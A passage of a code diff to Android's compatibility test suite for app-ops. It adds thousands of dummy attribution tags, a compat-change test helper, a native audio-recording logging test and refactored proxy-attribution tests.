+  <attribution android:tag="f9717" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9718" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9719" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9720" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9721" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9722" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9723" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9724" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9725" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9726" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9727" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9728" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9729" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9730" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9731" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9732" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9733" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9734" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9735" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9736" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9737" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9738" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9739" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9740" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9741" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9742" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9743" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9744" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9745" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9746" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9747" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9748" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9749" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9750" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9751" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9752" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9753" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9754" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9755" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9756" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9757" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9758" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9759" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9760" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9761" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9762" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9763" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9764" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9765" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9766" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9767" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9768" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9769" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9770" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9771" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9772" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9773" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9774" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9775" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9776" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9777" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9778" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9779" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9780" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9781" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9782" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9783" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9784" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9785" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9786" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9787" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9788" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9789" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9790" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9791" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9792" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9793" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9794" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9795" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9796" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9797" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9798" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9799" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9800" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9801" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9802" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9803" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9804" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9805" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9806" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9807" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9808" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9809" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9810" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9811" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9812" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9813" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9814" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9815" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9816" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9817" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9818" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9819" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9820" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9821" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9822" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9823" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9824" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9825" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9826" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9827" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9828" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9829" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9830" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9831" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9832" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9833" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9834" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9835" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9836" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9837" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9838" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9839" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9840" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9841" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9842" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9843" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9844" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9845" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9846" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9847" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9848" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9849" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9850" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9851" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9852" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9853" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9854" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9855" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9856" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9857" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9858" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9859" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9860" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9861" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9862" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9863" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9864" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9865" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9866" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9867" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9868" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9869" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9870" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9871" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9872" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9873" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9874" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9875" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9876" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9877" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9878" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9879" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9880" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9881" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9882" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9883" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9884" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9885" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9886" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9887" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9888" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9889" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9890" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9891" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9892" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9893" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9894" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9895" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9896" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9897" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9898" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9899" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9900" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9901" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9902" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9903" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9904" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9905" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9906" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9907" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9908" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9909" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9910" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9911" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9912" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9913" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9914" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9915" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9916" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9917" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9918" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9919" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9920" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9921" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9922" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9923" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9924" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9925" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9926" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9927" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9928" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9929" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9930" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9931" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9932" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9933" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9934" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9935" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9936" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9937" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9938" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9939" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9940" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9941" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9942" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9943" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9944" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9945" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9946" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9947" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9948" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9949" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9950" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9951" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9952" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9953" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9954" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9955" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9956" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9957" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9958" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9959" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9960" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9961" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9962" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9963" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9964" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9965" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9966" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9967" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9968" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9969" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9970" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9971" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9972" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9973" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9974" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9975" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9976" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9977" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9978" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9979" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9980" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9981" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9982" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9983" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9984" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9985" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9986" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9987" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9988" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9989" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9990" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9991" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9992" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9993" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9994" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9995" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9996" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9997" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9998" android:label="@string/dummyLabel" />
+  <attribution android:tag="f9999" android:label="@string/dummyLabel" />
 
   <attribution android:tag="toomany" android:label="@string/dummyLabel" />
 
diff --git a/tests/tests/appop/TEST_MAPPING b/tests/tests/appop/TEST_MAPPING
new file mode 100644
index 0000000..42315bd
--- /dev/null
+++ b/tests/tests/appop/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppOpsTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
index b1588d5..2a77470 100644
--- a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -175,4 +175,18 @@
         InstrumentationRegistry.getInstrumentation().targetContext
                 .getSystemService(AppOpsManager::class.java).getOpsForPackage(uid, packageName, op)
     }[0].ops[0]
+}
+
+/**
+ * Run a block with a compat change enabled
+ */
+fun withEnabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
+    runCommand("settings put global force_non_debuggable_final_build_for_compat 1")
+    runCommand("am compat enable $changeId $packageName")
+    try {
+        wrapped()
+    } finally {
+        runCommand("am compat reset $changeId $packageName")
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0")
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp b/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
index b5af257..dd98bc9 100644
--- a/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
+++ b/tests/tests/appop/jni/android/app/appops/cts/AppOpsLoggingTest.cpp
@@ -60,4 +60,4 @@
     if (jMessage != nullptr) {
         env->ReleaseStringUTFChars(jMessage, nativeMessage);
     }
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/ndk-jni/android/app/appops/cts/NDKAppOpsLoggingTest.cpp b/tests/tests/appop/ndk-jni/android/app/appops/cts/NDKAppOpsLoggingTest.cpp
new file mode 100644
index 0000000..3abfe79
--- /dev/null
+++ b/tests/tests/appop/ndk-jni/android/app/appops/cts/NDKAppOpsLoggingTest.cpp
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <aaudio/AAudio.h>
+
+// Start and stop audio stream from native code
+extern "C" JNIEXPORT void JNICALL
+Java_android_app_appops_cts_AppOpsLoggingTestKt_nativeStartStopAudioRecord(JNIEnv* env, jobject obj,
+        jboolean jIsShared, jboolean jIsLowLatency, jstring jPackageName, jstring jAttributionTag) {
+    jclass exception = env->FindClass("java/lang/RuntimeException");
+
+    const char *nativePackageName = env->GetStringUTFChars(jPackageName, 0);
+
+    const char *nativeAttributionTag;
+    if (jAttributionTag != nullptr) {
+        nativeAttributionTag = env->GetStringUTFChars(jAttributionTag, 0);
+    } else {
+        nativeAttributionTag = nullptr;
+    }
+
+    AAudioStreamBuilder *builder;
+    aaudio_result_t result = AAudio_createStreamBuilder(&builder);
+    if (result != AAUDIO_OK) {
+        env->ThrowNew(exception, "Failed to create audio stream builder");
+        goto release_jni_strings_then_return;
+    }
+
+    // Just some valid parameters
+    AAudioStreamBuilder_setDirection(builder, AAUDIO_DIRECTION_INPUT);
+
+    if (jIsLowLatency) {
+        AAudioStreamBuilder_setPerformanceMode(builder, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY);
+    } else {
+        AAudioStreamBuilder_setPerformanceMode(builder, AAUDIO_PERFORMANCE_MODE_NONE);
+    }
+
+    if (jIsShared) {
+        AAudioStreamBuilder_setSharingMode(builder, AAUDIO_SHARING_MODE_SHARED);
+    } else {
+        AAudioStreamBuilder_setSharingMode(builder, AAUDIO_SHARING_MODE_EXCLUSIVE);
+    }
+    // Set app-ops logging related parameters
+    AAudioStreamBuilder_setPackageName(builder, nativePackageName);
+    AAudioStreamBuilder_setAttributionTag(builder, nativeAttributionTag);
+
+    AAudioStream *stream;
+    result = AAudioStreamBuilder_openStream(builder, &stream);
+    if (result != AAUDIO_OK) {
+        env->ThrowNew(exception, "Failed to create audio stream");
+        goto delete_builder_then_return;
+    }
+
+    result = AAudioStream_requestStart(stream);
+    if (result != AAUDIO_OK) {
+        env->ThrowNew(exception, "Failed to start audio stream");
+        goto close_stream_then_return;
+    }
+
+close_stream_then_return:
+    AAudioStream_requestStop(stream);
+    AAudioStream_close(stream);
+
+delete_builder_then_return:
+    AAudioStreamBuilder_delete(builder);
+
+release_jni_strings_then_return:
+    env->ReleaseStringUTFChars(jPackageName, nativePackageName);
+
+    if (jAttributionTag != nullptr) {
+        env->ReleaseStringUTFChars(jAttributionTag, nativeAttributionTag);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index efb863b..5f354c4 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -19,6 +19,7 @@
 import android.app.AppOpsManager
 import android.app.AppOpsManager.MAX_PRIORITY_UID_STATE
 import android.app.AppOpsManager.MIN_PRIORITY_UID_STATE
+import android.app.AppOpsManager.MODE_ALLOWED
 import android.app.AppOpsManager.OPSTR_WIFI_SCAN
 import android.app.AppOpsManager.OP_FLAGS_ALL
 import android.app.AppOpsManager.OP_FLAG_SELF
@@ -29,6 +30,7 @@
 import android.content.Intent
 import android.content.Intent.ACTION_INSTALL_PACKAGE
 import android.net.Uri
+import android.os.Process
 import android.os.SystemClock
 import android.platform.test.annotations.AppModeFull
 import androidx.test.platform.app.InstrumentationRegistry
@@ -40,16 +42,35 @@
 import org.junit.Rule
 import org.junit.Test
 import java.lang.Thread.sleep
+import java.util.concurrent.atomic.AtomicLong
 
 private const val BACKGROUND_PACKAGE = "android.app.appops.cts.appinbackground"
+private const val SHELL_PACKAGE_NAME = "com.android.shell"
 
 class AppOpEventCollectionTest {
     private val instrumentation = InstrumentationRegistry.getInstrumentation()
     private val context = instrumentation.targetContext
     private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
 
-    private val myUid = android.os.Process.myUid()
+    private val myUid = Process.myUid()
     private val myPackage = context.packageName
+    private val otherPkg: String
+    private val otherUid: Int
+    private val firstTag = "firstProxyAttribution"
+    private val secondTag = "secondProxyAttribution"
+
+    init {
+    // Find another app to blame
+    val otherAppInfo = context.packageManager
+        .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
+            .setDataAndType(Uri.parse("content://com.example/foo.apk"),
+                "application/vnd.android.package-archive"), 0)
+        ?.activityInfo?.applicationInfo
+
+        assumeNotNull(otherAppInfo)
+        otherPkg = otherAppInfo!!.packageName
+        otherUid = otherAppInfo.uid
+    }
 
     // Start an activity to make sure this app counts as being in the foreground
     @Rule
@@ -87,8 +108,8 @@
         sleep(1)
 
         assertThat(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
-                .getLastAccessTime(MAX_PRIORITY_UID_STATE, UID_STATE_TOP, OP_FLAGS_ALL))
-                .isIn(before..beforeUidChange)
+            .getLastAccessTime(MAX_PRIORITY_UID_STATE, UID_STATE_TOP, OP_FLAGS_ALL))
+            .isIn(before..beforeUidChange)
 
         try {
             activityRule.activity.finish()
@@ -97,7 +118,7 @@
             eventually {
                 // The system remembers the time before and after the uid change as separate events
                 assertThat(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
-                        .getLastAccessTime(UID_STATE_TOP + 1, MIN_PRIORITY_UID_STATE,
+                    .getLastAccessTime(UID_STATE_TOP + 1, MIN_PRIORITY_UID_STATE,
                         OP_FLAGS_ALL)).isAtLeast(beforeUidChange)
             }
         } finally {
@@ -204,48 +225,53 @@
         val before = System.currentTimeMillis()
 
         // Using the shell identity causes a trusted proxy note
+        val afterTrusted = AtomicLong()
         runWithShellPermissionIdentity {
             appOpsManager.noteProxyOp(OPSTR_WIFI_SCAN, myPackage, myUid, null, null)
+            afterTrusted.set(System.currentTimeMillis())
+            appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
         }
-        val afterTrusted = System.currentTimeMillis()
 
         // Make sure timestamps are distinct
         sleep(1)
 
-        // self note
-        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
         val after = System.currentTimeMillis()
 
-        val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
+        val opEntry = getOpEntry(Process.SHELL_UID, SHELL_PACKAGE_NAME, OPSTR_WIFI_SCAN)!!
         val attributionOpEntry = opEntry.attributedOpEntries[null]!!
 
         assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY))
-                .isIn(before..afterTrusted)
-        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
-        assertThat(opEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY)).isIn(before..afterTrusted)
-        assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
+            .isIn(before..afterTrusted.get())
+        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_SELF))
+                .isIn(afterTrusted.get()..after)
+        assertThat(opEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY))
+                .isIn(before..afterTrusted.get())
+        assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF))
+                .isIn(afterTrusted.get()..after)
 
         // When asked for any flags, the second access overrides the first
-        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(afterTrusted..after)
-        assertThat(opEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(afterTrusted..after)
+        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAGS_ALL))
+                .isIn(afterTrusted.get()..after)
+        assertThat(opEntry.getLastAccessTime(OP_FLAGS_ALL))
+                .isIn(afterTrusted.get()..after)
     }
 
     @Test
     fun noteForTwoAttributionsCheckOpEntries() {
         val before = System.currentTimeMillis()
-        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "firstAttribution", null)
+        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, firstTag, null)
         val afterFirst = System.currentTimeMillis()
 
         // Make sure timestamps are distinct
         sleep(1)
 
         // self note
-        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "secondAttribution", null)
+        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, secondTag, null)
         val after = System.currentTimeMillis()
 
         val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
-        val firstAttributionOpEntry = opEntry.attributedOpEntries["firstAttribution"]!!
-        val secondAttributionOpEntry = opEntry.attributedOpEntries["secondAttribution"]!!
+        val firstAttributionOpEntry = opEntry.attributedOpEntries[firstTag]!!
+        val secondAttributionOpEntry = opEntry.attributedOpEntries[secondTag]!!
 
         assertThat(firstAttributionOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..afterFirst)
         assertThat(secondAttributionOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterFirst..after)
@@ -257,60 +283,189 @@
     @AppModeFull(reason = "instant apps cannot see other packages")
     @Test
     fun noteFromTwoProxiesAndVerifyProxyInfo() {
-        // Find another app to blame
-        val otherAppInfo = context.packageManager
-                .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
-                        .setDataAndType(Uri.parse("content://com.example/foo.apk"),
-                                "application/vnd.android.package-archive"), 0)
-                ?.activityInfo?.applicationInfo
-
-        assumeNotNull(otherAppInfo)
-
